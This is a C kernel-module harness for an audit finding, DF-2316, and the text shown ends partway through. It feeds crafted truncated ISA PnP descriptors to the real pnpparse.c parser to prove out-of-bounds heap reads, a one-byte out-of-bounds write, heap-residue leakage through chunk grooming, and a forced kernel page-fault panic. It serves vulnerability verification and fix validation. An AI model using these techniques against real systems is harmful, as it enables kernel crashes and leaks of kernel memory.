/*
 * pnp_harness.c -- verification harness for DF-2316.
 * Audit target: sys/bus/isa/pnpparse.c (ISA PnP resource-descriptor
 * parser), lines 95-326: pnp_parse_desc() dispatches on the resource
 * tag and unconditionally dereferences FIXED offsets inside the
 * descriptor body (e.g. PNP_TAG_MEMORY32_RANGE reads I32(res+13) --
 * offsets +13..+16, 17 bytes total) while the only bound ever checked
 * is `len >= l` (the card-DECLARED length) in the callers
 * pnp_parse_resources()/pnp_scan_resources().  A card declaring a
 * shorter length (down to 0) therefore makes the kernel read past the
 * descriptor -- up to 17 bytes -- and, when the descriptor sits at the
 * end of the kmalloc'd card stream buffer (pnp.c pnp_read_bytes grows
 * it in 1024-byte M_TEMP chunks), past the heap allocation itself; at
 * a page boundary this is a fatal kernel page fault.
 *
 * VERBATIM-INTERPOSITION DESIGN (established pattern, cf. DF-2314/2315
 * pnp.c rig, DF-2300 fwohci, DF-2319):
 *   - This TU #includes the UNMODIFIED sys/bus/isa/pnpparse.c, so the
 *     audited code runs byte-identical to stock (sha256-gated by
 *     prep.sh against the pristine audit-tree hash).  Because its
 *     static pnp_parse_desc() becomes callable, the rig can drive the
 *     REAL descriptor parser directly with crafted descriptors --
 *     exactly the bytes a malicious ISA-PnP card (or VM firmware)
 *     would deliver through pnp_read_resources()/pnp_create_devices()
 *     -> pnp_parse_resources().  The stock pnpparse.c unit is dropped
 *     from the build (conf/files: optional pnp_stock_disabled); pnp.c
 *     itself stays STOCK (it links against our pnp_parse_resources).
 *
 * Scenarios (see pnph.h):
 *   20 SWEEP   direct pnp_parse_desc for all 8 fixed-offset tags,
 *              declared len 0 (every attributed byte is OOB) vs
 *              len=need control; marker byte res[i]=i+1 attributes
 *              each parsed field to the exact offsets dereferenced.
 *   21 CANRD   MEM32_RANGE len 0 at the end of one 512-byte kmalloc
 *              chunk, second adjacent chunk filled with canary text:
 *              parsed ir_size/ir_align come from canary bytes PAST
 *              the first chunk (heap OOB read proof).
 *   22 CANWR   IO_RANGE len 0: res[5]==0 -> res[5]=1 is a 1-byte OOB
 *              WRITE past the chunk end (same root cause; canary byte
 *              0x00 observed flipping to 0x01).
 *   23 E2E     the REAL pnp_parse_resources() (verbatim) driven with
 *              truncated card streams: (1) markers past the logical
 *              stream end, (2) descriptor at the exact end of a
 *              1024-byte chunk + adjacent canary chunk (reads land
 *              fully past the allocation), (3) uninitialized heap
 *              residue flowing into the stored isa_config (leak side;
 *              these values end up in id_configs -> devinfo/dmesg).
 *   24 WELL    well-formed stream with all 8 tags at proper lengths:
 *              full field dump, the A/B bit-identity reference for
 *              fix validation.
 *   26 PGCTL   kmem_alloc 3 pages, free the top 2, full len-17
 *              descriptor inside page 1: parses fine (fault-side
 *              control).
 *   25 PGFLT   same mapping, len-0 descriptor with res+13..+16 on the
 *              freed (entry-less) page 2: baseline kernel takes a fatal
 *              page fault at exactly the attributed offset
 *              (page-boundary DoS proof; see the NOTE at run_pagebound
 *              for why the vm_map entry must go, not just the PTE).
 *
 * Control device: /dev/pnph0 (root-only, 0600).
 */

#include <sys/param.h>
#include <sys/systm.h>
#include <sys/kernel.h>
#include <sys/malloc.h>
#include <sys/conf.h>
#include <sys/device.h>
#include <sys/bus.h>
#include <sys/types.h>
#include <sys/queue.h>

#include <vm/vm_kern.h>
#include <vm/vm_extern.h>
#include <vm/pmap.h>

/*
 * The audited file, verbatim, compiled into this TU.  Its static
 * pnp_parse_desc() becomes callable.  pnpparse.c pulls in
 * isavar.h/pnpreg.h/pnpvar.h itself.
 */
#include "pnpparse.c"

#include "isa_common.h"		/* struct isa_device, isa_config_entry */
#include "pnph.h"

MALLOC_DEFINE(M_PNPH, "pnp_harness", "pnpparse.c verification harness");

static device_t pnph_isa;	/* the real isa0 */

/* ------------------------------------------------------------------ */
/* helpers                                                             */
/* ------------------------------------------------------------------ */

/* marker fill: res[i] = i+1 (nonzero, position-encodable) */
static void
fill_markers(u_char *p, int n)
{
	int i;

	for (i = 0; i < n; i++)
		p[i] = (u_char)(i + 1);
}

/* canary fill: nonzero repeating text */
static void
fill_canary(u_char *p, int n)
{
	static const char s[] = "DF2316CANARY!";
	int i;

	for (i = 0; i < n; i++)
		p[i] = (u_char)s[i % (sizeof(s) - 1)];
}

static device_t
test_child(void)
{
	device_t c;

	c = BUS_ADD_CHILD(pnph_isa, pnph_isa, ISA_ORDER_PNP, NULL, -1);
	if (c == NULL)
		return (NULL);
	isa_set_vendorid(c, 0x66666666);	/* no quirk-table match */
	isa_set_serial(c, 0x11112222);
	isa_set_logicalid(c, 0x66666677);
	return (c);
}

/*
 * Find two adjacent kmalloc chunks of size sz (second == first + sz).
 * Returns 1 with *a and *b set (both stay allocated), 0 otherwise.
 */
static int
find_adjacent(size_t sz, u_char **a, u_char **b, uint64_t *keep)
{
	void *v[24];
	int i, r;

	for (r = 0; r < 4; r++) {
		for (i = 0; i < 24; i++)
			v[i] = kmalloc(sz, M_PNPH, M_WAITOK);
		for (i = 0; i < 23; i++) {
			if ((char *)v[i + 1] == (char *)v[i] + sz) {
				*a = v[i];
				*b = v[i + 1];
				*keep = 1;
				return (1);
			}
		}
		for (i = 0; i < 24; i++)
			kfree(v[i], M_PNPH);
	}
	return (0);
}

/* dump first stored config of an isa child; 1 if present */
static int
read_ice(device_t child, struct isa_config *out)
{
	struct isa_device *idev = DEVTOISA(child);
	struct isa_config_entry *ice;

	if (idev == NULL)
		return (0);
	ice = TAILQ_FIRST(&idev->id_configs);
	if (ice == NULL)
		return (0);
	*out = ice->ice_config;
	return (1);
}

static void
dump_cfg(const char *tag, struct isa_config *c)
{
	int i;

	kprintf("PNPH %s: nmem=%d nport=%d nirq=%d ndrq=%d\n", tag,
	    c->ic_nmem, c->ic_nport, c->ic_nirq, c->ic_ndrq);
	for (i = 0; i < c->ic_nmem && i < ISA_NMEM; i++)
		kprintf("PNPH %s: mem[%d] start=%#x end=%#x size=%#x "
		    "align=%#x\n", tag, i, c->ic_mem[i].ir_start,
		    c->ic_mem[i].ir_end, c->ic_mem[i].ir_size,
		    c->ic_mem[i].ir_align);
	for (i = 0; i < c->ic_nport && i < ISA_NPORT; i++)
		kprintf("PNPH %s: port[%d] start=%#x end=%#x size=%#x "
		    "align=%#x\n", tag, i, c->ic_port[i].ir_start,
		    c->ic_port[i].ir_end, c->ic_port[i].ir_size,
		    c->ic_port[i].ir_align);
	for (i = 0; i < c->ic_nirq && i < ISA_NIRQ; i++)
		kprintf("PNPH %s: irq[%d]=%#x\n", tag, i, c->ic_irqmask[i]);
	for (i = 0; i < c->ic_ndrq && i < ISA_NDRQ; i++)
		kprintf("PNPH %s: drq[%d]=%#x\n", tag, i, c->ic_drqmask[i]);
}

/* ------------------------------------------------------------------ */
/* scenario 20: per-tag sweep, len=0 (all reads OOB) vs len=need       */
/* ------------------------------------------------------------------ */
struct sweep_case {
	const char	*name;
	u_char		tag;
	int		need;		/* bytes the handler dereferences */
};

static const struct sweep_case sw_cases[] = {
	{ "COMPAT_DEVICE",	0x18, 4 },	/* bcopy(res,4)      */
	{ "IRQ_FORMAT",		0x20, 2 },	/* I16(res)          */
	{ "DMA_FORMAT",		0x28, 1 },	/* res[0]            */
	{ "IO_RANGE",		0x40, 7 },	/* res[1..6]         */
	{ "IO_FIXED",		0x48, 3 },	/* res[0..2]         */
	{ "MEM_RANGE",		0x81, 9 },	/* res[1..8]         */
	{ "MEM32_RANGE",	0x85, 17 },	/* res[1..16]        */
	{ "MEM32_FIXED",	0x86, 9 },	/* res[1..8]         */
};
#define NSW	(sizeof(sw_cases) / sizeof(sw_cases[0]))

/*
 * Collect parsed fields (f[]) and the values expected from the marker
 * bytes (e[]), using the same I16/I32 macros the parser uses.  For the
 * len=0 runs every byte feeding e[] lies OUTSIDE the declared
 * descriptor, so f[]==e[] proves the OOB reads happened.
 */
static void
collect(const struct sweep_case *sc, struct isa_config *c, device_t dev,
    u_char *res, uint32_t *f, uint32_t *e, int *nf)
{
	u_int32_t cid = isa_get_compatid(dev);
	int n = 0;

	switch (sc->tag) {
	case 0x18:	/* COMPAT */
		f[0] = cid;
		e[0] = I32(res);
		n = 1;
		break;
	case 0x20:	/* IRQ */
		f[0] = (uint32_t)c->ic_nirq;
		f[1] = c->ic_irqmask[0];
		e[0] = 1;
		e[1] = I16(res);
		n = 2;
		break;
	case 0x28:	/* DMA */
		f[0] = (uint32_t)c->ic_ndrq;
		f[1] = c->ic_drqmask[0];
		e[0] = 1;
		e[1] = res[0];
		n = 2;
		break;
	case 0x40:	/* IO_RANGE */
		f[0] = (uint32_t)c->ic_nport;
		f[1] = c->ic_port[0].ir_start;
		f[2] = c->ic_port[0].ir_end;
		f[3] = c->ic_port[0].ir_size;
		f[4] = c->ic_port[0].ir_align;
		e[0] = 1;
		e[1] = I16(res + 1);
		e[2] = I16(res + 3) + res[6] - 1;
		e[3] = res[6];
		e[4] = res[5];
		n = 5;
		break;
	case 0x48:	/* IO_FIXED */
		f[0] = (uint32_t)c->ic_nport;
		f[1] = c->ic_port[0].ir_start;
		f[2] = c->ic_port[0].ir_end;
		f[3] = c->ic_port[0].ir_size;
		f[4] = c->ic_port[0].ir_align;
		e[0] = 1;
		e[1] = I16(res);
		e[2] = I16(res) + res[2] - 1;
		e[3] = res[2];
		e[4] = 1;
		n = 5;
		break;
	case 0x81:	/* MEM_RANGE */
		f[0] = (uint32_t)c->ic_nmem;
		f[1] = c->ic_mem[0].ir_start;
		f[2] = c->ic_mem[0].ir_end;
		f[3] = c->ic_mem[0].ir_size;
		f[4] = c->ic_mem[0].ir_align;
		e[0] = 1;
		e[1] = I16(res + 1) << 8;
		e[2] = (I16(res + 3) << 8) + (I16(res + 7) << 8) - 1;
		e[3] = I16(res + 7) << 8;
		e[4] = I16(res + 5);
		n = 5;
		break;
	case 0x85:	/* MEM32_RANGE */
		f[0] = (uint32_t)c->ic_nmem;
		f[1] = c->ic_mem[0].ir_start;
		f[2] = c->ic_mem[0].ir_end;
		f[3] = c->ic_mem[0].ir_size;
		f[4] = c->ic_mem[0].ir_align;
		e[0] = 1;
		e[1] = I32(res + 1);
		e[2] = I32(res + 5) + I32(res + 13) - 1;
		e[3] = I32(res + 13);
		e[4] = I32(res + 9);
		n = 5;
		break;
	case 0x86:	/* MEM32_FIXED */
		f[0] = (uint32_t)c->ic_nmem;
		f[1] = c->ic_mem[0].ir_start;
		f[2] = c->ic_mem[0].ir_end;
		f[3] = c->ic_mem[0].ir_size;
		f[4] = c->ic_mem[0].ir_align;
		e[0] = 1;
		e[1] = I32(res + 1);
		e[2] = I32(res + 1) + I32(res + 5) - 1;
		e[3] = I32(res + 5);
		e[4] = 1;
		n = 5;
		break;
	}
	*nf = n;
}

static int
run_sweep(struct pnph_req *r)
{
	u_char *arena;
	struct isa_config *cfg;
	device_t child;
	int ci, pass_all = 1;

	for (ci = 0; ci < (int)NSW; ci++) {
		const struct sweep_case *sc = &sw_cases[ci];
		int run;

		for (run = 0; run < 2; run++) {
			int len = run ? sc->need : 0;	/* 0 = truncated */
			int nf = 0, i, pass = 1;

			arena = kmalloc(128, M_PNPH, M_WAITOK | M_ZERO);
			cfg = kmalloc(sizeof(*cfg), M_PNPH,
			    M_WAITOK | M_ZERO);
			child = test_child();
			fill_markers(arena + 32, 64);

			pnp_parse_desc(child, sc->tag, arena + 32, len, cfg, 0);

			if (r && ci == 6 && run == 0) {
				ksnprintf(r->o_tagname, sizeof(r->o_tagname),
				    "%s", sc->name);
				r->o_declared = (uint32_t)len;
				r->o_needlen = (uint32_t)sc->need;
				r->o_attrib = (uint32_t)sc->need - 1;
			}
			{
				uint32_t f[8], e[8];

				collect(sc, cfg, child, arena + 32, f, e, &nf);
				for (i = 0; i < nf; i++)
					if (f[i] != e[i])
						pass = 0;
				kprintf("PNPH sweep %s declen=%d need=%d: "
				    "%s", sc->name, len, sc->need,
				    run ? "control" : "TRUNCATED");
				if (!run) {
					kprintf(" -- %d bytes read past a "
					    "len-%d descriptor (offsets 0..%d)",
					    sc->need, len, sc->need - 1);
				}
				kprintf(" attrib=%s\n", pass ? "PASS" : "FAIL");
				for (i = 0; i < nf; i++)
					kprintf("PNPH sweep   f[%d]=%#10x "
					    "expect=%#10x %s\n", i, f[i], e[i],
					    f[i] == e[i] ? "" : "MISMATCH");
				if (!run && r) {
					for (i = 0; i < nf && i < 8; i++) {
						r->o_field[i] = f[i];
						r->o_expect[i] = e[i];
					}
					r->o_nfields = (uint32_t)nf;
					r->o_pass = (uint32_t)pass;
				}
				if (!run && !pass)
					pass_all = 0;
			}
			kfree(arena, M_PNPH);
			kfree(cfg, M_PNPH);
		}
	}

	/* one short-but-nonzero case: MEM32_RANGE declared 16, offset +16 OOB */
	{
		uint32_t f[8], e[8];
		int nf = 0, i, pass = 1;

		arena = kmalloc(128, M_PNPH, M_WAITOK | M_ZERO);
		cfg = kmalloc(sizeof(*cfg), M_PNPH, M_WAITOK | M_ZERO);
		child = test_child();
		fill_markers(arena + 32, 64);
		pnp_parse_desc(child, 0x85, arena + 32, 16, cfg, 0);
		collect(&sw_cases[6], cfg, child, arena + 32, f, e, &nf);
		for (i = 0; i < nf; i++)
			if (f[i] != e[i])
				pass = 0;
		kprintf("PNPH sweep MEM32_RANGE declen=16 need=17: 1 byte "
		    "(offset +16) past the descriptor attrib=%s\n",
		    pass ? "PASS" : "FAIL");
		kfree(arena, M_PNPH);
		kfree(cfg, M_PNPH);
	}

	kprintf("PNPH sweep: worst case = %d bytes (MEMORY32_RANGE, "
	    "pnpparse.c:278-299)\n", 17);
	return (pass_all ? 0 : 1);
}

/* ------------------------------------------------------------------ */
/* scenario 21: canary chunk, read side (MEM32_RANGE len 0)            */
/* ------------------------------------------------------------------ */
static int
run_canrd(struct pnph_req *r)
{
	u_char *c1, *c2, *res;
	struct isa_config *cfg;
	device_t child;
	uint64_t keep = 0;
	uint32_t f[8], e[8];
	int nf, i, pass = 1, try;
	uint32_t esz, eal;

	for (try = 0; try < 3; try++) {
		if (!find_adjacent(512, &c1, &c2, &keep)) {
			kprintf("PNPH canrd: no adjacent 512B chunks found\n");
			r->o_rc = 3;
			return (0);
		}
		fill_canary(c2, 512);
		res = c1 + 512 - 4;
		res[0] = 0x5A;
		res[1] = 0x5B;
		res[2] = 0x5C;
		res[3] = 0x5D;

		cfg = kmalloc(sizeof(*cfg), M_PNPH, M_WAITOK | M_ZERO);
		child = test_child();

		kprintf("PNPH canrd[%d]: c1=%p c2=%p res=%p res+13=%p "
		    "(c2+%d)\n", try, c1, c2, res, res + 13,
		    (int)(res + 13 - c2));

		pnp_parse_desc(child, 0x85, res, 0, cfg, 0);

		collect(&sw_cases[6], cfg, child, res, f, e, &nf);
		for (i = 0; i < nf; i++)
			if (f[i] != e[i])
				pass = 0;
		esz = I32(res + 13);	/* pure canary bytes: c2[9..12] */
		eal = I32(res + 9);	/* pure canary bytes: c2[5..8] */
		kprintf("PNPH canrd[%d]: ir_size=%#x == I32(c2+9)=%#x "
		    "ir_align=%#x == I32(c2+5)=%#x -> read %d bytes past "
		    "the 512B chunk (canary text leak)\n", try,
		    cfg->ic_mem[0].ir_size, esz, cfg->ic_mem[0].ir_align, eal,
		    (int)(res + 17 - (c1 + 512)));
		for (i = 0; i < nf; i++)
			kprintf("PNPH canrd   f[%d]=%#10x expect=%#10x %s\n",
			    i, f[i], e[i], f[i] == e[i] ? "" : "MISMATCH");
		if (try == 0 && r) {
			r->o_chunk1 = (uint64_t)(uintptr_t)c1;
			r->o_chunk2 = (uint64_t)(uintptr_t)c2;
			for (i = 0; i < nf && i < 8; i++) {
				r->o_field[i] = f[i];
				r->o_expect[i] = e[i];
			}
			r->o_nfields = (uint32_t)nf;
			r->o_pass = (uint32_t)pass;
			/* raw canary bytes that were swallowed */
			for (i = 0; i < 8; i++)
				r->o_leakraw[i] = c2[i];
		}
		kfree(cfg, M_PNPH);
	}
	r->o_pass = (uint32_t)pass;
	return (0);
}

/* ------------------------------------------------------------------ */
/* scenario 22: canary chunk, write side (IO_RANGE len 0, res[5]=1)    */
/* ------------------------------------------------------------------ */
static int
run_canwr(struct pnph_req *r)
{
	u_char *c1, *c2, *res;
	struct isa_config *cfg;
	device_t child;
	uint64_t keep = 0;
	int i;

	if (!find_adjacent(512, &c1, &c2, &keep)) {
		kprintf("PNPH canwr: no adjacent 512B chunks found\n");
		r->o_rc = 3;
		return (0);
	}
	/* res = c1 end - 3: res+3.. = c2[0..]; res[5]=c2[2], res[6]=c2[3] */
	for (i = 0; i < 512; i++)
		c2[i] = 0xCC;
	c2[2] = 0x00;		/* res[5]: triggers the res[5]=1 write */
	c2[3] = 0x7F;		/* res[6]: nonzero -> not a null descriptor */
	res = c1 + 512 - 3;
	res[0] = 0x5A;
	res[1] = 0x5B;
	res[2] = 0x5C;

	cfg = kmalloc(sizeof(*cfg), M_PNPH, M_WAITOK | M_ZERO);
	child = test_child();

	kprintf("PNPH canwr: c1=%p c2=%p res=%p res+5=%p (c2+2) res+6=%p "
	    "(c2+3)\n", c1, c2, res, res + 5, res + 6);
	for (i = 0; i < 8; i++)
		r->o_before[i] = c2[i];

	pnp_parse_desc(child, 0x40, res, 0, cfg, 0);

	for (i = 0; i < 8; i++)
		r->o_after[i] = c2[i];
	r->o_wrote = (r->o_before[2] == 0x00 && r->o_after[2] == 0x01);
	r->o_chunk1 = (uint64_t)(uintptr_t)c1;
	r->o_chunk2 = (uint64_t)(uintptr_t)c2;

	kprintf("PNPH canwr: c2[0..7] before:");
	for (i = 0; i < 8; i++)
		kprintf(" %02x", r->o_before[i]);
	kprintf("\nPNPH canwr: c2[0..7] after: ");
	for (i = 0; i < 8; i++)
		kprintf(" %02x", r->o_after[i]);
	kprintf("\nPNPH canwr: canary byte c2[2] (res+5, 2 bytes past the "
	    "chunk) 0x00 -> %#x : %s (pnpparse.c:163-166 res[5]=1)\n",
	    r->o_after[2], r->o_wrote ? "OOB WRITE PROVEN" : "not written");
	kfree(cfg, M_PNPH);
	return (0);
}

/* ------------------------------------------------------------------ */
/* scenario 23: real pnp_parse_resources with truncated card streams   */
/* ------------------------------------------------------------------ */
static int
run_e2e(struct pnph_req *r, int variant)
{
	u_char *st, *c1, *c2, *g = NULL;
	struct isa_config ice;
	device_t child;
	uint64_t keep = 0;
	int have, i;

	switch (variant) {
	case PNPH_E2E_MARKERS:
		st = kmalloc(1024, M_PNPH, M_WAITOK);
		for (i = 3; i < 1024; i++)
			st[i] = (u_char)((i % 251) + 1);	/* nonzero */
		st[0] = 0x85;			/* MEM32_RANGE */
		st[1] = 0x00;			/* declared length 0 */
		st[2] = 0x00;
		child = test_child();
		ksnprintf(r->o_child, sizeof(r->o_child), "%s",
		    device_get_nameunit(child));
		kprintf("PNPH e2e1: buf=%p logical len=3, payload markers "
		    "at [3..1024)\n", st);
		pnp_parse_resources(child, st, 3, 0);
		have = read_ice(child, &ice);
		kprintf("PNPH e2e1: stored config:\n");
		dump_cfg("e2e1", &ice);
		if (have) {
			uint32_t esz = I32(st + 3 + 13);
			kprintf("PNPH e2e1: ir_size=%#x == I32(buf+16)=%#x "
			    "(markers past the logical stream end)\n",
			    ice.ic_mem[0].ir_size, esz);
			r->o_pass = (ice.ic_mem[0].ir_size == esz &&
			    ice.ic_nmem == 1);
			r->o_field[0] = ice.ic_mem[0].ir_size;
			r->o_expect[0] = esz;
			for (i = 0; i < 8; i++)
				r->o_leakraw[i] = st[16 + i * 2];
		}
		break;

	case PNPH_E2E_PASTALLOC:
		if (!find_adjacent(1024, &c1, &c2, &keep)) {
			kprintf("PNPH e2e2: no adjacent 1024B chunks\n");
			r->o_rc = 3;
			return (0);
		}
		fill_canary(c2, 1024);
		c1[1021] = 0x85;
		c1[1022] = 0x00;
		c1[1023] = 0x00;
		child = test_child();
		ksnprintf(r->o_child, sizeof(r->o_child), "%s",
		    device_get_nameunit(child));
		kprintf("PNPH e2e2: c1=%p c2=%p; tag+len bytes at c1[1021.."
		    "1023], res=c1+1024=c2 -> reads c2[0..16], ALL past the "
		    "1024B allocation\n", c1, c2);
		pnp_parse_resources(child, c1 + 1021, 3, 0);
		have = read_ice(child, &ice);
		kprintf("PNPH e2e2: stored config:\n");
		dump_cfg("e2e2", &ice);
		if (have) {
			uint32_t esz = I32(c2 + 13);
			r->o_chunk1 = (uint64_t)(uintptr_t)c1;
			r->o_chunk2 = (uint64_t)(uintptr_t)c2;
			r->o_field[0] = ice.ic_mem[0].ir_size;
			r->o_expect[0] = esz;
			r->o_pass = (ice.ic_mem[0].ir_size == esz &&
			    ice.ic_nmem == 1);
			kprintf("PNPH e2e2: ir_size=%#x == I32(c2+13)=%#x "
			    "-> 17 canary bytes read past the allocation "
			    "through the REAL parse entry\n",
			    ice.ic_mem[0].ir_size, esz);
			for (i = 0; i < 8; i++)
				r->o_leakraw[i] = c2[i * 2];
		}
		break;

	case PNPH_E2E_RESIDUE:
		/* groom a freed 1024B M_TEMP chunk, then re-allocate it as
		 * the card stream buffer (mirrors pnp_read_bytes); bytes
		 * past the truncated descriptor = prior heap residue */
		{
			static const char pay[] =
			    "DF2316-RESIDUE-HEAPDATA-";
			int try;

			st = NULL;
			for (try = 0; try < 8; try++) {
				if (st)
					kfree(st, M_TEMP);
				g = kmalloc(1024, M_TEMP, M_WAITOK);
				for (i = 0; i < 1024; i++)
					g[i] = (u_char)pay[i % (sizeof(pay) - 1)];
				kfree(g, M_TEMP);
				st = kmalloc(1024, M_TEMP, M_WAITOK);
				if (st == g)
					break;
			}
			st[0] = 0x85;
			st[1] = 0x00;
			st[2] = 0x00;
			child = test_child();
			ksnprintf(r->o_child, sizeof(r->o_child), "%s",
			    device_get_nameunit(child));
			kprintf("PNPH e2e3: groom=%p stream=%p same=%d "
			    "(uninitialized heap residue visible past the "
			    "descriptor)\n", g, st, st == g);
			kprintf("PNPH e2e3: residue bytes st[3..19]:");
			for (i = 3; i < 20; i++)
				kprintf(" %02x", st[i]);
			kprintf("  <");
			for (i = 3; i < 20; i++)
				kprintf("%c", (st[i] >= 0x20 && st[i] < 0x7f) ?
				    st[i] : '.');
			kprintf(">\n");
			for (i = 0; i < 8; i++)
				r->o_leakraw[i] = st[3 + i * 2];
			pnp_parse_resources(child, st, 3, 0);
			have = read_ice(child, &ice);
			kprintf("PNPH e2e3: stored config:\n");
			dump_cfg("e2e3", &ice);
			if (have) {
				uint32_t esz = I32(st + 16);
				r->o_field[0] = ice.ic_mem[0].ir_size;
				r->o_expect[0] = esz;
				r->o_pass = (ice.ic_mem[0].ir_size == esz &&
				    ice.ic_nmem == 1);
				kprintf("PNPH e2e3: ir_size=%#x == I32(st+16)="
				    "%#x -> kernel heap residue flowed into "
				    "the device resource config (devinfo/"
				    "bootverbose visible)\n",
				    ice.ic_mem[0].ir_size, esz);
			}
		}
		break;

	default:
		r->o_rc = EINVAL;
		break;
	}
	return (0);
}

/* ------------------------------------------------------------------ */
/* scenario 24: well-formed stream (A/B bit-identity reference)        */
/* ------------------------------------------------------------------ */
static const u_char wf_stream[] = {
	0x1C,				/* COMPAT_DEVICE len 4 */
	0x11, 0x22, 0x33, 0x44,
	0x22,				/* IRQ_FORMAT len 2 */
	0xEF, 0xCD,
	0x29,				/* DMA_FORMAT len 1 */
	0x3B,
	0x47,				/* IO_RANGE len 7 */
	0x01, 0x20, 0x02, 0x30, 0x02, 0x10, 0x10,
	0x4B,				/* IO_FIXED len 3 */
	0xF8, 0x02, 0x08,
	0x81, 0x09, 0x00,		/* MEM_RANGE len 9 */
	0x01, 0x00, 0x10, 0x00, 0x20, 0x00, 0x10, 0x00, 0x01,
	0x85, 0x11, 0x00,		/* MEM32_RANGE len 17 */
	0x00,				/* +0  info   */
	0x00, 0x00, 0x00, 0x10,		/* +1  base   */
	0x00, 0x00, 0x00, 0x20,		/* +5  min    */
	0x00, 0x00, 0x00, 0x04,		/* +9  align  */
	0x00, 0x00, 0x00, 0x10,		/* +13 size   */
	0x86, 0x09, 0x00,		/* MEM32_FIXED len 9 */
	0x00,				/* +0  info   */
	0x00, 0x00, 0x00, 0x20,		/* +1  base   */
	0x00, 0x00, 0x00, 0x10,		/* +5  size   */
};

static int
run_well(struct pnph_req *r)
{
	struct isa_config ice;
	device_t child;
	int have, k = 0;

	child = test_child();
	ksnprintf(r->o_child, sizeof(r->o_child), "%s",
	    device_get_nameunit(child));
	pnp_parse_resources(child, (u_char *)(uintptr_t)wf_stream,
	    sizeof(wf_stream), 0);
	have = read_ice(child, &ice);

	r->o_field[k++] = isa_get_compatid(child);			/* 0 */
	if (have) {
		r->o_field[k++] = (uint32_t)ice.ic_nirq;			/* 1 */
		r->o_field[k++] = ice.ic_irqmask[0];			/* 2 */
		r->o_field[k++] = (uint32_t)ice.ic_ndrq;			/* 3 */
		r->o_field[k++] = ice.ic_drqmask[0];			/* 4 */
		r->o_field[k++] = (uint32_t)ice.ic_nport;		/* 5 */
		r->o_field[k++] = ice.ic_port[0].ir_start;		/* 6 */
		r->o_field[k++] = ice.ic_port[0].ir_end;			/* 7 */
		r->o_field[k++] = ice.ic_port[0].ir_size;		/* 8 */
		r->o_field[k++] = ice.ic_port[0].ir_align;		/* 9 */
		r->o_field[k++] = ice.ic_port[1].ir_start;		/*10*/
		r->o_field[k++] = ice.ic_port[1].ir_end;			/*11*/
		r->o_field[k++] = ice.ic_port[1].ir_size;		/*12*/
		r->o_field[k++] = ice.ic_port[1].ir_align;		/*13*/
		r->o_field[k++] = (uint32_t)ice.ic_nmem;			/*14*/
		r->o_field[k++] = ice.ic_mem[0].ir_start;		/*15*/
		r->o_field[k++] = ice.ic_mem[0].ir_end;			/*16*/
		r->o_field[k++] = ice.ic_mem[0].ir_size;		/*17*/
		r->o_field[k++] = ice.ic_mem[0].ir_align;		/*18*/
		r->o_field[k++] = ice.ic_mem[1].ir_start;		/*19*/
		r->o_field[k++] = ice.ic_mem[1].ir_end;			/*20*/
		r->o_field[k++] = ice.ic_mem[1].ir_size;		/*21*/
		r->o_field[k++] = ice.ic_mem[1].ir_align;		/*22*/
		r->o_field[k++] = ice.ic_mem[2].ir_start;		/*23*/
		r->o_field[k++] = ice.ic_mem[2].ir_end;			/*24*/
		r->o_field[k++] = ice.ic_mem[2].ir_size;		/*25*/
		r->o_field[k++] = ice.ic_mem[2].ir_align;		/*26*/
	}
	r->o_nfields = (uint32_t)k;
	r->o_pass = (uint32_t)(have && ice.ic_nmem == 3 &&
	    ice.ic_nport == 2 && ice.ic_nirq == 1 && ice.ic_ndrq == 1);

	kprintf("PNPH well: child=%s compatid=%#x have=%d nmem=%d nport=%d "
	    "nirq=%d ndrq=%d\n", r->o_child, isa_get_compatid(child), have,
	    have ? ice.ic_nmem : -1, have ? ice.ic_nport : -1,
	    have ? ice.ic_nirq : -1, have ? ice.ic_ndrq : -1);
	if (have)
		dump_cfg("well", &ice);
	kprintf("PNPH well: field vector (A/B reference):\n");
	for (k = 0; k < (int)r->o_nfields; k++)
		kprintf("PNPH well   field[%2d]=%#10x\n", k, r->o_field[k]);
	return (0);
}

/* ------------------------------------------------------------------ */
/* scenarios 25/26: page-boundary rig (kmem_alloc + kmem_free)         */
/*                                                                     */
/* NOTE: pmap_kremove() alone is NOT enough for a fault: the kernel-    */
/* mode fault handler (trap_pfault, trap.c:872-878) faults on          */
/* kernel_map and the still-present map entry + kernel_object page     */
/* lets vm_fault silently re-materialize the PTE (observed on this     */
/* guest: first attempt returned rc=0 with no fault).  Removing the    */
/* vm_map entry itself (kmem_free of the tail pages) leaves the VA     */
/* with no entry -> vm_fault fails -> "Fatal trap 12 ... in kernel     */
/* mode" panic.  This models the real condition: the read lands in     */
/* KVA that belongs to no allocation.                                  */
/* ------------------------------------------------------------------ */
static int
run_pagebound(struct pnph_req *r, int fault)
{
	vm_offset_t base;
	u_char *res;
	struct isa_config *cfg;
	device_t child;
	int rc, i, n;

	base = kmem_alloc(kernel_map, 3 * PAGE_SIZE, VM_SUBSYS_KMALLOC);
	if (base == 0) {
		kprintf("PNPH pg: kmem_alloc failed\n");
		r->o_rc = 1;
		return (0);
	}
	/* drop the top 2 pages: [base+PAGE, base+3*PAGE) has NO entry */
	kmem_free(kernel_map, base + PAGE_SIZE, 2 * PAGE_SIZE);

	/* page 1 tail holds the descriptor payload */
	n = fault ? 13 : 17;
	res = (u_char *)(base + PAGE_SIZE) - n;
	fill_markers(res, n);
	cfg = kmalloc(sizeof(*cfg), M_PNPH, M_WAITOK | M_ZERO);
	child = test_child();

	kprintf("PNPH pg: base=%p page1end=%p res=%p res+13=%p "
	    "(page2 VA range freed: [%p,%p) unmapped)\n",
	    (void *)base, (void *)(base + PAGE_SIZE), res, res + 13,
	    (void *)(base + PAGE_SIZE), (void *)(base + 3 * PAGE_SIZE));

	if (fault) {
		/* offsets +13..+16 lie on the freed (entry-less) 2nd page */
		r->o_declared = 0;
		kprintf("PNPH pgflt: calling pnp_parse_desc(tag=0x85 "
		    "MEMORY32_RANGE, res, len=0) -- expect fatal page fault "
		    "at va=%p (= res+13, first OOB byte)\n",
		    (void *)(base + PAGE_SIZE));
		rc = pnp_parse_desc(child, 0x85, res, 0, cfg, 0);
		kprintf("PNPH pgflt: UNEXPECTED no-fault rc=%d (fixed "
		    "kernel?)\n", rc);
		r->o_rc = 2;
	} else {
		uint32_t esz = I32(res + 13);

		r->o_declared = 17;
		rc = pnp_parse_desc(child, 0x85, res, 17, cfg, 0);
		r->o_pass = (cfg->ic_nmem == 1 &&
		    cfg->ic_mem[0].ir_size == esz);
		kprintf("PNPH pgctl: full len-17 descriptor parsed rc=%d "
		    "nmem=%d ir_size=%#x==I32(res+13)=%#x attrib=%s "
		    "(all reads inside page 1)\n", rc, cfg->ic_nmem,
		    cfg->ic_mem[0].ir_size, esz,
